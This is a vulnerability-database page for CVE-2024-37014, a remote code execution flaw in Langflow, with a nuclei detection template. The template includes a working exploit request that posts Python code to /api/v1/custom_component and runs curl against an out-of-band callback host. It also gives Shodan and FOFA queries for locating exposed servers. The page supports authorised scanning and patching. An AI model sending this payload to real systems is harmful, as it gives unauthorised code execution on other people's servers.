Browse / CVEs / CVE-2024-37014
CVE-2024-37014· langflow / langflow· CWE-94
Langflow <= 1.0.12 - Remote Code Execution
criticalseverity
9.8CVSS score
63.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.
Impact
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
Fix
Update to the latest version of Langflow that addresses this issue or apply security patches.
How to confirm it
Send: GET /api/v1/version
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_any(body, "Langflow", "langflow")
Send: POST /api/v1/custom_component
Positive when: contains in interactsh_protocol "http" or "dns"Run it with nuclei: nuclei -id CVE-2024-37014 -u <target>
The full check
id: CVE-2024-37014
info:
name: Langflow <= 1.0.12 - Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Update to the latest version of Langflow that addresses this issue or apply security patches.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr
- https://nvd.nist.gov/vuln/detail/CVE-2024-37014
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-37014
epss-score: 0.63674
epss-percentile: 0.99224
cwe-id: CWE-94
cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: langflow
product: langflow
shodan-query: http.title:"Langflow"
fofa-query: title="Langflow"
tags: cve,cve2024,langflow,rce,oast,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_any(body, "Langflow", "langflow")'
condition: and
internal: true
- raw:
- |
POST /api/v1/custom_component HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code":"import os\nfrom langflow.custom import Component\nfrom langflow.io import Output\n\nclass RCEProbe(Component):\n display_name = \"Probe\"\n outputs = [Output(display_name=\"Out\", name=\"out\", method=\"run\")]\n def run(self):\n os.system('curl -m 5 -s http://{{interactsh-url}}')\n return ''\n"}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: orReferences
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr
- https://nvd.nist.gov/vuln/detail/CVE-2024-37014
Use this check only on systems you are authorised to test. Where the data comes from